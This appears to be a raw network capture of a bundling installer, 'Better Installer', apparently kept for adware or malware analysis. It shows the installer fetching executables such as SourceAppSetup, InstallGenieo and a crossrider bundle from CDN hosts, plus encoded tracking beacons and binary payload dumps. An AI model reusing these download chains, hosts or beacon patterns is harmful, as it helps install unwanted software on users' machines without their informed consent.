[email protected] ..t..F$.@...$..P.M..]....e...V
..}..N...:;.sF.^. ...:;.vS.N.R...PQ.%;...N...... F..F.3..F.9F.t. N.QP.
F..F.P........3.F.M...M................... ......;..G.Q...........
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=291584-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 04:01:08 GMT
Date: Sat, 14 Feb 2015 04:01:08 GMT
Content-Range: bytes 291584-583167/583168
Content-Length: 291584
Connection: keep-alive
...v5...\U..G.Z.....H.<.C...t......\f. .8...*.wd........Qp.aX.f..C.
....WE.3h....).$....A........yrD.1.f..]...J...E<..1..L.1.{..j.f.=..
..fM.F.....z...D...g.....u.6.I'.U...[..7......Y..:n...^...A....w../9..
...U.....?.'......xO62.P.qw&.(....uBa...Y@;......:.II.]..m.....%..<
.D..v.).i<:..J....J.;..<...X.)p...::I_U.........8..5..Y"..L<3
6..c}t..;....j.....?....@.`.......I|.L5....q}..3...ll=...bdI5..[?.....
}.EeL..R....5"...(......../.....W..~..].@.. [email protected]%
.Y...r]a.b.......)G..n[T...}O....y1.j..!.c)..4.08.....u...9.8..H...D..
k...r.....IaPJ"..].Pm..K.>.V1vp9y.....=..bp.:.g..F..C.0.eB./..nxD.N
..'.4.......'3.1..m..0..=.^..._...S...M...i.t..yq....|....T.....&v.e..
.......D....Z.7...T.......I...$.....A ..er....o...C..Y...A.F]hy!..q...
......#....@$D.$L<...Uy..|;?*..&.4.....!..v.'E.l....(.....z.~..Ae.|
..D......@[email protected]....\<1.|.*...m&g
t;....o#.@..&1...E...z....v.m.?....2..:.X....N..J...l..#`d.^[.oj.1....
.....x..n.O|.vfU. ..R.....x..Yg.._..u...G. ...N[[email protected].
.e.d.,...g.=}4n......aH...a.....`..v.......'@...<R.L......."J(..##.
.nV'..f../V...w!..'%..(b.`......e.h....x=9&......M..X-_T...c.8..]'.F..
.........M.....m.G.........s..X...|.......;......2..B..AAu4..Wu..B...l
f..........BUw.C...^J...(F.1;.s..f3.............m,...<.. .N.9..3$..
C..=...a..z.....G..?..i-.2.....hD..?....^?..B........~.....>]......
..G0...F....'][email protected].......)..W.r.=.ò....l.r
.z..........7..e. \$D.......t.......[.Z..N2.......%[email protected]...<.
<<< skipped >>>


GET /sd?is=sm HTTP/1.1
Range: bytes=145792-
User-Agent: Better Installer(Mozilla)
Host: install-cdn.sourceapp.info
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Pragma: no-cache
Content-Type: application/octet-stream
Server: Microsoft-IIS/7.5
Content-Disposition: attachment; filename=SourceAppSetup.exe
X-AspNet-Version: 4.0.30319
SVR: SP003C2
X-Powered-By: ASP.NET
p3p: CP="CAO PSA OUR"
Cache-Control: private, max-age=86400
Expires: Sun, 15 Feb 2015 03:56:59 GMT
Date: Sat, 14 Feb 2015 03:56:59 GMT
Content-Range: bytes 145792-583167/583168
Content-Length: 437376
Connection: keep-alive
..U...`i....X...t..%.$.C..x...Y.3..~.?X.{...}.|.Y.T...v..C!/.Z......b.
e62.d.YE.o...?&..... ....H"...E(y./.Z..6.U}._...w....o..s..).9..axM.t.
..*...8J........2}...Yq.M.........G..#..Y..........=.A...~..R....QL9..
......VB......E.5t..w ....X.8..o8..y)..E-0.zP.\..w~..)....<.\..}RX7
.o...V..t.}......'.............6o8....L .H.....&...R.,.....k..Bf.LJ...
....\......0..$.s.u.. ....w..~.)..c......X......[.....[..:...W..k...Z.
..:...Z.a...C?.......W.=gs..w.\..md..BO....Z.....;{.0d.z....".....W...
.{.W...j2.V.a.....q..,...V......sr;.........n.".S.WI..n?........Z....^
..7.. }....B.m. .eXsG...%. .K.].'..6..,,.iZ......C......nK'.$oJ.}k....
..7-..0.a.)2...(DQ.?.Q..[...!....TV........-c...6..Y.gz.E.......M?... 
h.C..........@G]C^e...P^....0..d._......8....:.A..r....I.j.\..."....|.
7.yZ.X'.t....j.n....L..A~DeP.Sr........U..LV~......T.....]L...s.K.a...
.......".y..II...{._...A......u...*sg.........1...S.Jv.hE.x..rX....bF.
. ..i ;.........N...`'.-....h$....L;t.)-.gY..kI.BolS...db...,@*9.6K..&
lt;`..R$..4$.-s.u.s.d_Vs.....T..;....}.9]WR...1o.a......^.).8fR \...3.
M.....W}[email protected]....
 zi=-...p:.8.......].5.W...~K."[email protected]"rr.d.4<{.....5.....P..
.W....ZHNC.w.Y.= .}.1.7..u.....N....0..`...].I...J&p7....w79.......pB.
J1.B.>...4.{.M..RB.g..e....1`..s....Vl?v....sW.6..>.L.>.....9
f..0~.V.t...m'.=.F....cfA....vN....ae.L u7..q..#,H.............:....{j
...L.xb.......v....j.5.=6..YEP^.M.R.d..^{f..5x.N..jx..Y..6.\...3.%....
.c...*.IK.b.jz.l.!)....U...&...........BxfJ$..U..SU...:.g>O./..
<<< skipped >>>


GET /mag/ytaiesmt_smtyc_setup.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: d2otsfra4otprh.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 1286683
Connection: keep-alive
Cache-Control: no-cache
Last-Modified: Fri, 13 Feb 2015 08:53:47 GMT
Accept-Ranges: bytes
ETag: "639a3946a47d01:0"
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Fri, 13 Feb 2015 18:27:45 GMT
Content-Range: bytes 0-1286682/1286683
X-Cache: Miss from cloudfront
Via: 1.1 09052d1a6e392e4f4a3fd97bf34a2b24.cloudfront.net (CloudFront)
X-Amz-Cf-Id: qJyvydh6hJyR6hdPvGluBq9CnM9SH6b5A8ZqFHihmX-tPFZ6HNug-g==
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1p.:u..iu..i
u..i...iw..iu..i...i...id..i!2.i...i...it..iRichu..i........PE..L.....
oS.................\...........2.......p....@.........................
.................................................s....................
...................................................................p..
.............................text....[.......\.................. ..`.r
data.......p.......`..............@[email protected]..........
[email protected][email protected]
..............@..@....................................................
......................................................................
......................................................................
......................................................................
......................................................................
............................................U....\.}..t .}.F.E.u..H...
[email protected]@..e...E..E.P.u....r@
..}[email protected]... M.......M....3.....FQ.....NU..M.....
.....VT..U.....FP..E...............E.P.M...Tp@[email protected]
....E..9}[email protected].}.j.W.E......E.......@[email protected]..
[email protected]<[email protected] [email protected]...\r@._
^3.[.....L$...7B...Si.....VW.T.....tO.q.3.;5.7B.sB..i......D.......t.G
.....t...O..t .....u...3....3...F.....;5.7B.r._^[...U..QQ.U.SV..i.
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=178475-
User-Agent: Better Installer(Mozilla)
Host: dwl4rwv9nkwfy.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 107083
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:56:46 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 178475-285557/285558
Age: 149
X-Cache: Hit from cloudfront
Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)
X-Amz-Cf-Id: fFnmAN6QlBNaChHw37okowk_toZzGFQ_TFGtgcedtQJZwLprEqxf_w==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:57:01 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
U..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u
[email protected]}[email protected].}.j.W.E......E.......P
[email protected]@[email protected] [email protected]..
.\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i.....
.D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..
<<< skipped >>>


GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBSAUQYBMq2awn1Rh6Doh/sBYgFV7gQUA95QNVbRTLtm8KPiGxvDl7I90VUCEAaeHbd/zx37qXr15cmiQDc= HTTP/1.1
Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=517979
Content-Type: application/ocsp-response
Date: Sat, 14 Feb 2015 03:59:22 GMT
Etag: "54dea2ef-1d7"
Expires: Fri, 20 Feb 2015 15:59:22 GMT
Last-Modified: Sat, 14 Feb 2015 01:20:47 GMT
Server: ECS (frf/87E3)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0........P5V.L.f........=.U..2015021
3200000Z0s0q0I0... .........Q..2...}Q......b.U.....P5V.L.f........=.U.
[email protected]...*.H........
......R...C...0T...@..@0.$)O.'.. ..a.O..3.5...~N...."...j^RE.x..n;z.e.
b..N.....G....t.:.uV..W....8...'RB.f...OV.U;HU..>...q..,.)..;..&...
..m.\H.Q .L...........G...u<.KB%yd..s.n.........VB.;..6...#.....C.!
O....ZZ..k..T.;...A.U.U..W...u......=..#. ....Os..m.iD.*.HTTP/1.1 200 
OK..Accept-Ranges: bytes..Cache-Control: max-age=517979..Content-Type:
 application/ocsp-response..Date: Sat, 14 Feb 2015 03:59:22 GMT..Etag:
 "54dea2ef-1d7"..Expires: Fri, 20 Feb 2015 15:59:22 GMT..Last-Modified
: Sat, 14 Feb 2015 01:20:47 GMT..Server: ECS (frf/87E3)..X-Cache: HIT.
.Content-Length: 471..0..........0..... .....0......0...0........P5V.L
.f........=.U..20150213200000Z0s0q0I0... .........Q..2...}Q......b.U..
...P5V.L.f........=.U...........z....@7....20150213200000Z....20150220
200000Z0...*.H..............R...C...0T...@..@0.$)O.'.. ..a.O..3.5...~N
...."...j^RE.x..n;z.e.b..N.....G....t.:.uV..W....8...'RB.f...OV.U;HU..
>...q..,.)..;..&.....m.\H.Q .L...........G...u<.KB%yd..s.n......
...VB.;..6...#.....C.!O....ZZ..k..T.;...A.U.U..W...u......=..#. ....Os
..m.iD.*.....
<<< skipped >>>

GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw= HTTP/1.1


Connection: Keep-Alive
Accept: */*
User-Agent: Microsoft-CryptoAPI/6.1
Host: ocsp.digicert.com


HTTP/1.1 200 OK
Accept-Ranges: bytes
Cache-Control: max-age=507631
Content-Type: application/ocsp-response
Date: Sat, 14 Feb 2015 03:59:22 GMT
Etag: "54de7a86-1d7"
Expires: Fri, 20 Feb 2015 15:59:22 GMT
Last-Modified: Fri, 13 Feb 2015 22:28:22 GMT
Server: ECS (frf/87A8)
X-Cache: HIT
Content-Length: 471
0..........0..... .....0......0...0.......q.7.s.......4. Z.....2015021
3221300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.s.......4. Z....
..M.q.......d...,....20150213221300Z....20150220222800Z0...*.H........
.....-.,..l..m.X.rj.^..L'....M8.r[..h..I..hC...~.\.F.Q~A..g.........g}
3.=^...;]j;.x!..7^.h.........TA.c..0.;...........f...~....$...22z..Uf.
.........W.......x$Q........\....s......v_.G.....l.M.....*4.....7....W
.)s.f..T...f../cQ..!...b..T~.~a..l.a$.t._^..^z.|w..HTTP/1.1 200 OK..Ac
cept-Ranges: bytes..Cache-Control: max-age=507631..Content-Type: appli
cation/ocsp-response..Date: Sat, 14 Feb 2015 03:59:22 GMT..Etag: "54de
7a86-1d7"..Expires: Fri, 20 Feb 2015 15:59:22 GMT..Last-Modified: Fri,
 13 Feb 2015 22:28:22 GMT..Server: ECS (frf/87A8)..X-Cache: HIT..Conte
nt-Length: 471..0..........0..... .....0......0...0.......q.7.s.......
4. Z.....20150213221300Z0s0q0I0... ........ ......%.:EUvf.U...3...q.7.
s.......4. Z......M.q.......d...,....20150213221300Z....20150220222800
Z0...*.H.............-.,..l..m.X.rj.^..L'....M8.r[..h..I..hC...~.\.F.Q
~A..g.........g}3.=^...;]j;.x!..7^.h.........TA.c..0.;...........f...~
....$...22z..Uf..........W.......x$Q........\....s......v_.G.....l.M..
...*4.....7....W.)s.f..T...f../cQ..!...b..T~.~a..l.a$.t._^..^z.|w....
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=0-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 03:57:01 GMT
Content-Type: application/octet-stream
Content-Length: 1110476
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 0-1110475/1110476
MZ......................@.............................................
..!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..i
u..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i..................
......PE..L......K.................\..........<2.......p....@......
.................... ...............................................s.
..........A...........................................................
................p...............................text...ZZ.......\.....
............. ..`.rdata.......p.......`..............@[email protected]........
[email protected][email protected]
rc....A.......B...v..............@..@.................................
......................................................................
......................................................................
......................................................................
......................................................................
...............................................U....\.}..t .}.F.E.u..H
.....>[email protected].>[email protected].
P.u...Pr@..}[email protected]... M.......M....3.....FQ.....N
..



GET /affiliates/filesfrog/eula.html HTTP/1.1
Accept: application/x-ms-application, image/jpeg, application/xaml xml, image/gif, image/pjpeg, application/x-ms-xbap, */*
Referer: hXXp://installer.filebulldog.com/awat7zip54650/7zip/236762cce52fe54e8735a3807f6f1de4?v=2.0&muid=AD2252CE007468623BD139B0ADEC3423
Accept-Language: en-US
Accept-Encoding: gzip, deflate
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/6.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C)
Host: d4ekdi381yoqv.cloudfront.net
Connection: Keep-Alive


HTTP/1.1 200 OK
Content-Type: text/html
Transfer-Encoding: chunked
Connection: keep-alive
Server: nginx
Date: Sun, 08 Feb 2015 05:05:54 GMT
Last-Modified: Sun, 26 Oct 2014 17:23:05 GMT
Expires: Sun, 08 Feb 2015 05:15:54 GMT
Cache-Control: max-age=600
Content-Encoding: gzip
Vary: Accept-Encoding
X-Cache: RefreshHit from cloudfront
Via: 1.1 15191055e43ba835d0fead01ae84015c.cloudfront.net (CloudFront)
X-Amz-Cf-Id: ajreHAcTeB11QhMe3KAXhu7lhzscjksZBVoGNfs5gwEuNqYgfY1AEw==
14eb.............Zks.F.....Yn....I;.....-..$l(B.@)*.7..C.1.p.P........
@.....Jb..G?N.t...?..at{..U.N...t..U..`p..p0.E#..Et9Vo..UT.Y.TI...`.N:
.............C?/..(.<r.7.l...j....y....e..u..'/,.....4.e.........R.
.F.t*.X.~..c.....IGo.xX..y..[...E.3..zH.y.._........H.....:Zl...;:...Q
.~..Gw?.....E.M.....z.7S....I.M..f.I.TW.....U.......(.u..../.&.g.;....
O.^.._?v..O?...:....q.....X$..*.K.q..|...........s.........9>.....d
v_?.Y..).g1.._.z......lD.......E....N..~i.,..i....&.tVa..o>5[.!s..V
.h....a...p.uu....-`..........l......j..<}...$^...G...|.....&....Y.
.J...#.>j...~. .......v..vz.....og.......2H...W.....5..J...f...p...
...o...)F.....Z.P>j....1\t.........J.....@.}=:M(..AU............P_.
......G...X.B$..Q3..Qt.=.$M.............~..........f..q.NZ.......S..S.
yk.|=@;.&.vA....WMN^.S.z/..S.-...|..N.b.......dhR.u7i%2.......4.K.....
.Y..J.....U\...,....'j.j.*."..a\...4.\...&W........MV&7..r...7.Jp.v...
...........c.(..,..Y.B.f.<Ks..u....d.%k.o....@:..7._7....=..._|.^Dj
..L......../...,O............b.do.k....G_.$3.Vey..Sy....U...O...<..
-.u.>.U%..W........V......X...o.,.$8..........|j..T-._7.......kodi.
[email protected]\G....u....;...b.........\g...:...}=e.......8.F...B.
..W. ..Ig...8..B`|.......Q.d.3`.Y.Z.NH..dz...p...=.V0...S......-..j...
.rQ.K5...v.....!.t.....Im....'.(.z.).....*......c.j.gs)DK...Z%........
..w.......P._G..u'.....u/.I.N...u'...*g2R...G..G.>.._(....u01p...:.
{6..oe.3..W...\...%....?.y..OB....v..w.#.`.S...\.M.......,..g......[5.
...7.[7...i.......y.B...;A....C'..(.P.............:....{`S.(B.e..7
<<< skipped >>>


GET /partner/gim394750002/release/live/InstallGenieo.exe HTTP/1.1
Range: bytes=123551-
User-Agent: Better Installer(Mozilla)
Host: download.genieo.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
x-amz-id-2: GX2GxBc/0uirfuqSzn8yUWc5Y6MplmIqnxHV5hvTnZD 7 t5mZg1y4bZ951pOabiJ6b0Mprj2qA=
x-amz-request-id: 7912FEE023ECBF3A
Date: Sat, 14 Feb 2015 04:01:11 GMT
Last-Modified: Mon, 20 Oct 2014 09:54:42 GMT
ETag: "d65611fbc4da8cea4e886076bec82d1e"
Accept-Ranges: bytes
Content-Range: bytes 123551-988407/988408
Content-Type: application/octet-stream
Content-Length: 864857
Server: AmazonS3
.[J.w...qYt\M.Fz.4.*.......o.....1K.pE..2....CpY%...~45...'...E...o.$.
...H.h..;o.r.~.98....'...Y.E........r.....C....'!^....i.=.*.(.........
.."...s...v..u..-."...Nm2\[email protected]>.-..\....I....z
.n?.......2...^..?/...a'..".A...D6P....Q.F....<.B6.a<{\..1V..' .
..3/...a.*..MkJ.....$ ...=b.z..5...#..O.W......^O..K...s....>..6.f!
<.S.{. '..Ich...h...f...8<\<`..ff.Y;.<=......:E.f|.Aj..*nN
/....[.S.l.....U....\........k....#p........>.Nvg....c..Q.....k...p
..q....;..<.....l..<..\y....{...fH...F..... [....B...Y.'..T..w.a
..9.....cCW.'S.k.......7.CY.t.....(.)IX...W...........T.......M/......
.uzfBNU.y.....s...W,&.>B....{E...^.v...%<...R...w........<.E=
c.. [email protected]..%..M][email protected]#R..X2X.5uUZ.Q.....
.tM.k.u.O.....G.Vz...,.JZ&J.'[email protected]
[email protected]..=v.....s;.Y...Zfy..e..m.G..0..i=.Y.$..ok...I .V...,.A
...K.gB..c..,.AEfS\....;.9.J..{//>.x_.t5i.6k}....I......I....R.....
..O..d..Y6eD.kG.Aj..,.....u...2Be....WRU?.36...9..N....l;.m..y....\...
...g.m'.Q..%f.#../......Yoe.......j."&.-.WB..'W.J|2..R^p\.2}.S^.[j.3..
3M.d..}1....}.X;[..f?o.h..W...[N..Q.P.JI...fc...E..bkhW.;&.f..........
AY.p...t.....3UP.^-'G..7.e.nL .!i\q{...M.'..=.K&.-..!.9<......p.bhX
.......[Tz1.k..n.QD.....>F..$.$9x.Q..f.e_.0...j.<...d.Y..MKL....
..8.;h.w.g...Q.{q..B..f4.O...hk.bf;.[)..._...DE8C.(I/..*..z.:.....s.#O
...[)(.lA.zC...b}..P.S.X..o....Z..0.....Y.$....mu..C...J..p....I.s~z..
Kr...Y..c:....Y..a.....z%. 7L...8t^..w..d..df...Yt...9.......Ru...
<<< skipped >>>


GET /software_files/7_zip/9_20/7z920.exe HTTP/1.1
Range: bytes=277620-
User-Agent: Better Installer(Mozilla)
Host: download.filesfrog.com
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Server: nginx
Date: Sat, 14 Feb 2015 04:01:12 GMT
Content-Type: application/octet-stream
Content-Length: 832856
Last-Modified: Mon, 15 Oct 2012 03:33:11 GMT
Connection: close
ETag: "507b83f7-10f1cc"
Content-Range: bytes 277620-1110475/1110476
../cXh~.Q....mj..Yt..>...(.e....(...kiq...lSR>...?... .N?.[c6...
C.(.pA.,.*..F...Y.Ij.j..p.%.r..e..h&...{-.....R^...`9.1PO6\8..>....
..Q"Rg.Z......Too...?.<....J..=,.q...}y.=.T..*W...C9..].........^e.
"T..`.&F..M...^-6Wz_:..YW.B.......'......O;,k..".gGP..<$-..1 .;.s|X
....-....%,....@.]AU.. ..\ko... .w~g..1K.......;A..|.r..%.............
.......... .)..2....e..<.J.i."....c..oZ...TE..j...........H..,8W.c.
.ST.zz.M.;-Pk5z...y..r.W~.;(F7,........w5...Ef...9Eo..[.Q...\.....9..f
6...j.mq*pRc..Z*.R..IW...j4Y.D ...T...Sn_.0.tY[/g./]ehAw..@<W......
0QO\Cj(.C.-.......*..5|.-.0..$.V..pX...T........HA.....}..........}.;.
 ....LPV.X..0W..H.........z..F(.o.:........Fd.'C..= . ..e.....%Z.t....
t.Bz.?...s.....L...ds....[....dr.....E(.z)vD17...d...m... ..........ms
..g...8V._x.X..D..g.WQ&....$...}o.Q5u..#6.. .`.......~..%.ir.W....zoYI
1b.......t`.2t.U.~5....t.......jd..rv.O..........s.o.}....A....9..o%..
.j.....R.LQ[.9qY1d?..?n.F.........*F}.b-.P`....y.6.=n...Kge}onq..u%.O|
.X>..."]..%H.;[email protected].. ........^...*.--....^n3.....2A.....
..,..Wg./.........p>....ci.........w..2.g...6^:.`..b... .'r........
........D....RH..[.`i..1*.rs....O..BG5...)nU..tX...r..CZ..V=)@.4r..)v:
./M$..5...'4....Bey.0Y..*..#7...q.../.#N.@....__......<85d$.z.%G...
(....-.d...I.........g....S:..&...2.....t..........h.c.......ty.G. .T.
k.>R....C...S.K.S.....,3LZe......a..#&SH.Q.R......4P......0}IC.h)N.
7..G....G1..........<..!.....=.I......S...tE.d.d.Y.......qf@I=nB...
.....V...'...z.]y./.......ng..VY...y.|......2.J..'.^.z....W..d....
<<< skipped >>>


GET /mirror/nerocrossrider/appshat_generic.exe HTTP/1.1
Range: bytes=178475-
User-Agent: Better Installer(Mozilla)
Host: d1mvy92rurx48h.cloudfront.net
Connection: Keep-Alive
Cache-Control: no-cache


HTTP/1.1 206 Partial Content
Content-Type: application/octet-stream
Content-Length: 107083
Connection: keep-alive
Date: Sun, 08 Feb 2015 04:46:33 GMT
x-amz-version-id: zdbgB_7owwl7Hq6LIKQBG0yBaPWISKtC
x-amz-meta-s3cmd-attrs: uid:500/gname:www/uname:www/gid:500/mode:33204/mtime:1415096893/atime:1415097003/ctime:1415096894
Cache-Control: max-age=3600
Last-Modified: Tue, 04 Nov 2014 11:01:28 GMT
ETag: "518879abe3170dabd172dfffcd165598"
Accept-Ranges: bytes
Server: AmazonS3
Content-Range: bytes 178475-285557/285558
Age: 1
X-Cache: Hit from cloudfront
Via: 1.1 f96185b1d69d6f85635bc2b5554da639.cloudfront.net (CloudFront)
X-Amz-Cf-Id: 7d-KCDUttnaqUzWSis4k92BojfkFZ5L-yWJQuZdT9mpKVzK-767E2g==
w.N>.Pq..A)...[N......B.x../.>[email protected]..
N.Z......j..&...h....A.hO..\....'.....sj.`.....H.S.|.s=.......I.)L>
...c....i.>.....G.u..H.D....P......qC0<.(...m..y.dm.\1N.m...v.T`
- .Ss. .G2..rk.......N{[email protected].......}......6P$....2
.52..!.x....L.R. [email protected],.].\...a..........k
.....A.....P....u`..I.///....b~.y..^...P...z..p..:.d.....R.4....U. ...
../.M]..~.........(...... y.).. ..In.I.)..ua.*..N!Q.......1.e..b)F5...
x.bS..f..|q.H..K...V.`.^...x!Su4_"?...uc.tY.m...%....r..be.z. ....0.^.
....]y........)... .u_/..V..6).v..\.7n-z.q.............Y.w.oBk..f..}..
[email protected]. .*.b.;..).....|.\@c..)......H.P..;......!"...gN.......9W..
.. ......NJJJ....N|..)T..aU..1....5~.G...=d.m..Qfl..?.yO|e...`.sXm$Op;
."p................t=V.........Q....f.r0.........i...M......E....Y.../
....N.7/.;.....|..R...(./.4..{)..~.M....).......f.w...6.^.0TB...H..c..
.....^-a.G`0ub..|a;.C..T.<..N/......^..>."....f..$..d.=.X0..x4R.
..W...=.....`..w.$\a/.~R.~<.....jS.q.es....-.....#W#.D.4H...tw...&.
A.w/...t...[H"D....9E].....A....B<D.7[.2.3.!.......P.......R..R._.I
...y........([email protected].\D.k.2....3..".".......
.p...?_X.........$v.....,......\.V..EV.G...........Z.DO....B..V...%.D.
...].n..`...H.!..=<.. Y.*l..].j.u.d.o.M.i...>..m........$K..@...
..]~.H.z.p.O.?.i.&.U.....U."<..o.S#..x.....s..g.[.....A.6~'-.1D....
....`Pim2....;.xsV2.'7.#..jlW.1-..4......h ..~...oV..."...]|..i=.....V
(.....e..!..EU.d....ui..9).....^P.o.g..e..H.1x.....\.#..D....G.w.p
<<< skipped >>>


GET /app/ping.ashx?e=aonlVHCKlbW/q1OYm6RuNseI11IItJtH9jcckqEM4t 9gdZ7vVVoir9hXn5fpF0A/EmjUQkbJhH56Z3csCJxKxjG8uFQJiyiI wXmj0gKSzJRj7MvvoN91OAdVu9uBuJ3uqB6Mv dB27cUxOKK2MzR4jZeTGaYuG2M/VB50wH9zL8Hq6Ocmu0jR8nfSY9YHcwn0GoGPKVvnzbANYrsS2gbgiRxZztPW6qRWJf 8QX2AK5aTSincfOcyVOO4g8JDtBvljreUdSotWLfeo/B59z4BlKlGJcuDg HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; SBUA)
Host: rephelper.youtubeaccelerator.com
Connection: Keep-Alive


HTTP/1.1 200 OK
Cache-Control: private
Server: Microsoft-IIS/7.5
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET
Date: Sat, 14 Feb 2015 03:58:12 GMT
Content-Length: 0
HTTP/1.1 200 OK..Cache-Control: private..Server: Microsoft-IIS/7.5..X-
AspNet-Version: 4.0.30319..X-Powered-By: ASP.NET..Date: Sat, 14 Feb 20
15 03:58:12 GMT..Content-Length: 0..



GET /p.ashx?e=eFCD8T/coic9XN4SPQf2KR0A8JFzEu3P43ARP/2L O6MDmRWpWBZ0CAvELRpepitKPuMdH9xkPFYS5k6/5B5fItzmslvEwWlLhu0b45kiT9zjnfHDvMlV pHivO720KFFagtWkIz2IR4WLbCbjSKVVz29 azWLLzqzK4ONZfy8uwkk WHLaN3BOpzAENMeu5HLnHRSngDc8= HTTP/1.1
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)
Host: d1cfk8e4o0c4u2.cloudfront.net


HTTP/1.1 200 OK
Content-Length: 0
Connection: keep-alive
Cache-Control: private, no-store
Server: Microsoft-IIS/7.5
